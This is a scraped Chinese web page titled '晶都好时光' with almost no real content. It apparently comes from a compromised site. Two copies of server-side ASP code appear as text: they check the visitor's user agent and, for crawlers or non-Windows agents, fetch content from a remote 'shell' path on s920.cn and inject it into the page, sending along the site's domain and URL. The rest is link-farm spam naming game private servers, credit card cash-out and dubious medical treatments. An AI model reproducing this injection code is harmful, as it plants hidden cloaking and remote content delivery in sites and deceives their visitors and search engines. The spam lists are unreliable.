晶都好时光

[进入]

<% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "Windows" if not Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://www.s920.cn/shell/sca.php?dns="&dns) else response.write getBody("http://www.s920.cn/shell/scan.php?dns="&url&"&dn="&dns) end if end if %><% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://www.s920.cn/shell/sca.php?dns="&dns) else response.write getBody("http://www.s920.cn/shell/scan.php?dns="&url&"&dn="&dns) end if end if %> >

合作伙伴：体育彩票中国福利彩票 3D 福彩3d 福彩3d 中国彩票大众搬场上海搬场公司搬场公司大众搬场上海搬场公司上海搬场公司吸液棉考勤租车上海太阳能电池组件搬家办公家具拆组与安装金属回收上海空调维修痛风二手吊车汽车租赁鱼粉价格搬家公司电脑回收硅棒空压机空气压缩机上海大众搬家公兴搬场

友情链接：股骨头坏死大众搬家北京卫星电视安装传奇世界私服生殖器疱疹深圳卫星电视安装疝气北京卫星电视双色球上海大众搬家公司北京卫星电视安装尖锐湿疣红血丝挖机治疗口臭魔兽世界私服上海大众物流深圳卫星电视安装卵巢囊肿长途搬家信用卡套现天津卫星器材上海卫星电视安装法语大众搬场搬迁公司慢性前列腺炎公兴搬家公司上海卫星器材 3D 搬迁上海卫星电视安装上海汽车租赁深圳卫星电视安装租车公司